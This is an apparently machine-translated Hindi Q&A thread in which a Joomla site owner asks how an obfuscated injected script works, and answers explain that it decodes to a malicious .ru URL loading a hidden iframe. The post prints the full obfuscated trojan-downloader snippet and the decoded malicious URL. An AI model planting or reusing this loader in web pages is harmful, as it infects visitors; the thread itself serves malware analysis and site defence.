यह साइट स्क्रिप्टिंग का काम कैसे करती है?


99

मेरी जुमला! वेबसाइट को बार-बार हैक किया गया है। किसी ने, किसी तरह, कुंजी php स्क्रिप्ट में निम्नलिखित बकवास इंजेक्षन करने में कामयाब रहा, लेकिन मेरा मतलब जूमला को कॉन्फ़िगर करने के बारे में बात नहीं करना है। साइट बहुत देखी नहीं गई है (कई बार मुझे डर है कि मैं उस साइट का एकमात्र आगंतुक हो सकता हूं ...) और मुझे इस साइट का बैकअप लेने और चलाने के लिए बहुत परवाह नहीं है। मैं आखिरकार उसे संभाल लूंगा।

मेरा सवाल है, यह बकवास काम कैसे करता है? मैं इसे देखता हूं और मैं यह नहीं देखता कि यह किसी भी तरह का नुकसान कैसे करता है? यह क्या करता है यह ChangeLog.pdf नामक एक पीडीएफ फाइल को डाउनलोड करने की कोशिश करता है, जो ट्रोजन से संक्रमित है और खोलने के बाद आपके एक्रोबेट को फ्रीज कर देगा और आपकी मशीन पर कहर बरपा देगा। यह कैसे करता है, मुझे नहीं पता, मुझे परवाह नहीं है लेकिन स्क्रिप्ट का निम्नलिखित भाग कैसे डाउनलोड करता है?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET ने इस कोड को JS / TrojanDownloader.Agent.NRO ट्रोजन के रूप में पाया है


41
कृपया किसी को भी जिज्ञासा से बाहर लिंक की जाँच करने के लिए भटकना नहीं है!
डीओके

1
हाँ, यह पता लगाने की कोशिश में इधर-उधर न भटकें कि जादू यूआरएल के साधारण एन्कोडिंग में है और बाद के डिकोडिंग / स्ट्रिंग को स्ट्रिंग / पार्सिंग का उपयोग करके प्रतिस्थापित / RegEx का उपयोग करके आप लाइन के अंत में देखते हैं।
डॉक्टरलूई

13
"स्क्रिप्ट का टुकड़ा" काफी कुछ और की तरह पढ़ा, पहली बार में।
आदित्य एमपी

जवाबों:


181

replaceविशाल गड़बड़ स्ट्रिंग के बाद कॉल को नोटिस करें .replace(/#|\$|@|\^|&|\(|\)|\!/ig, ''):।

यह अधिकांश विशेष वर्णों को हटा देता है, इसे सामान्य URL में बदल देता है:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(मैं मैन्युअल रूप से बदल दिया गया http:है evil:)

ध्यान दें कि रेगेक्स को सरल बनाया जा सकता था .replace(/[#$@^&()!]/ig, '')

यदि आप स्क्रिप्ट को देखते हैं, तो आप देखेंगे कि यह एक बहुत ही सरल स्क्रिप्ट है जो एक छिपे हुए IFRAME को पथ को इंजेक्ट करता है /index.php?ys को उसी डोमेन से को ।

मैंने फ़िडलर में उस पृष्ठ का अनुरोध किया, और इसकी कोई सामग्री नहीं थी।


6
मुझे लगता है कि iframe की सामग्री प्रदान करने वाली स्क्रिप्ट बनाई गई है ताकि पीडीएफ डाउनलोड हर बार शुरू न हो। 10 में से 1 मौका या ऐसा कुछ हो सकता है। यह पीडीएफ डाउनलोड करने की कोशिश नहीं की हर बार मैंने जूमला पृष्ठ को ताज़ा किया। 100 में 1 भी हो सकता है ... कौन जानता है?
पीटर पेराच

174
+1 यह उल्लेख करने के लिए कि कोड अधिक कुशलता से लिखा जा सकता था। :)
पेकका

8
@Pekka, मुझे लगता है कि यह जानबूझकर लिखा गया था ताकि अधिक अस्पष्ट हो
अण्डाकार दृश्य

7
@ निश्चित रूप से। यदि लेखक दक्षता के बारे में चिंतित था, तो वह निश्चित रूप से एक स्थैतिक स्ट्रिंग प्राप्त करने के लिए एक RegEx प्रतिस्थापन का उपयोग नहीं करता था। जबरदस्त हंसी।
डैन बेहार्ड

मैं यह नहीं देखता कि अच्छा मामला असंवेदनशील पैटर्न संशोधक अक्षरों के बिना पैटर्न के लिए क्या करेगा। मैं +चरित्र वर्ग के बाद भी उपयोग कर रहा हूँ ... अगर regex का उपयोग कर।
मिकमैकुसा

34

ये उत्तर आपको दुर्भावनापूर्ण जावास्क्रिप्ट कोड की प्रकृति को समझने में मदद कर सकते हैं, लेकिन आपको जो ढूंढना चाहिए वह जूमला इंजन में खामियों को दूर करने का एक तरीका है। पहले से पैक किए गए ढांचे में कमियां होती हैं, या तो जानबूझकर या अनजाने में, खासकर जब आप इस बात पर ध्यान देते हैं कि वे यूनिक्स, मैक और विंडोज़ के वातावरण पर काम करने के लिए इंजीनियर हैं।

मेरे काम के लिए मुझे कई प्रकार के सर्वर और सिस्टम पर क्लाइंट्स और खुद के लिए कई डोमेन, एप्लिकेशन और फ्रेमवर्क चलाने की आवश्यकता है। समय के साथ मैंने अधिक से अधिक बॉट्स को देखा है जो इन सिस्टमों को रेंगते हुए उन चौखटों द्वारा बनाए जाने वाले बैक-डोर प्रवेश द्वारों के ज्ञात रास्ते / प्रवेश द्वार की तलाश में हैं। अच्छी बात यह है कि जब मैं किसी भी प्रकार के ढांचे का उपयोग करता हूं, जो कि मैं शायद ही कभी करता हूं, तो मैं उन सभी का नाम बदलने के लिए सुनिश्चित करता हूं कि यदि पूरी फाइल संरचना खुद को उन pesky कमियां / बैक-डोर से छुटकारा न दे। बहुत कम से कम आप निर्देशिकाओं का नाम बदल सकते हैं, जो अधिकांश बॉट्स को फेंक देगा, लेकिन मेरा तरीका उन संदर्भों को पूरी तरह से समाप्त करना है जो रूपरेखा की प्रकृति के अनुसार सुराग देते हैं, जिसमें न केवल निर्देशिकाओं की पूरी फ़ाइल संरचना का नाम बदलना शामिल है। अपने आधार ढांचे के स्नैप-इन को जोड़ने के लिए पुराने नामकरण सम्मेलनों के सापेक्ष हमेशा नए नामकरण सम्मेलनों का एक नक्शा रखें। एक बार जब आप इसे लटका लेते हैं, तो आप जहाँ तक प्रोग्रामर का उपयोग करके त्वरित परिणाम के लिए पूरे ढांचे के फिल्म निर्माण का नाम बदल सकते हैं, यह विशेष रूप से तब उपयोगी होता है जब ग्राहकों को प्लग-इन और इस तरह के साथ अपने ढांचे को अपडेट करने में सक्षम होने की आवश्यकता होती है।


1
बस फ्रेमवर्क के स्रोत के बारे में जानकारी न निकालें, यह बिल्कुल गलत होगा।
डॉक्टरलॉई

2
ऊओ, धन्यवाद। यह एक अच्छा जवाब है। वास्तव में इस सवाल का जवाब नहीं दे रहा है, लेकिन फिर भी +1, क्योंकि यह वास्तव में एक बहुत ही रोचक और अच्छा सुझाव था। ता
पीटर पेराहे

20

यह सिर्फ आपको देने के लिए स्क्रिप्ट url पर एक रेगेक्स प्रतिस्थापित करता है

नोट: नीचे दिए गए लिंक **को कॉपी न करें ( कॉपी-पेस्ट करने वालों को रोकने के लिए डाला गया)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

के रूप में src


यह है कि यह सरल है? मेरी अच्छाई ... मैं तो फिर से
pwnd

23
यह एक प्रफुल्लित करने वाला URL है।
जॉर्डन

@ जोश - यह आप पर निर्भर है, मैंने इसकी कोशिश नहीं की है इसलिए मैं आपको ठीक-ठीक बता नहीं सकता। मुझे संदेह है कि पृष्ठ पर दुर्भावनापूर्ण स्क्रिप्ट हो सकती हैं। आप अपने जोखिम पर ऐसा कर सकते हैं!
रस कैम

8

यह रीगेक्स का उपयोग करते हुए बकवास वर्णों को बदलने के लिए प्रतिस्थापित फ़ंक्शन का उपयोग करता है, कोड के साथ कुछ भी गलत नहीं है:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

से इसकी लोड स्क्रिप्ट

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

और वह स्क्रिप्ट iframeदृश्यता से लोड होती हैhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

जब आप पूरी बात पढ़ते हैं, तो आप पाते हैं कि यह एक स्ट्रिंग है जिसके बाद एक प्रतिस्थापित कमांड है।


2

मेरे पास अपने पृष्ठों पर सूचकांक * * में समान है। मैं अपना खुद का कोड PHP में लिख रहा हूँ। मेरा सवाल यह नहीं है कि यह कैसे काम करता है, लेकिन मैं पूछ रहा हूं कि यदि आप उनकी पीठ को जानते हैं तो कैसे रक्षा करें। मैंने फॉर्म बदल दिए और <_> और http: // आदि की जगह $ _POST और $ _GET पढ़ लिया।


2

मेरे दो सेंट। क्या आपने / आप जूमलापैक जैसे जूमला बैकअप उपकरण स्थापित कर सकते हैं?

मैंने इसे एक चेरॉन स्क्रिप्ट के माध्यम से चलाने के लिए सेट किया है ताकि सामानों को मग करने के लिए सामान को संभाल कर रखा जा सके।

जूमला का कौन सा संस्करण चल रहा है?

1.0.X संस्करणों को अब अपडेट नहीं किया जा रहा है, और यह वास्तव में उम्र दिखाना शुरू कर रहा है। आप अपने आप को एक बैकअप करने और 1.5 को अपग्रेड करने और 1.6 के चमत्कार की आशा करने की योजना के लिए इसका श्रेय देते हैं

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.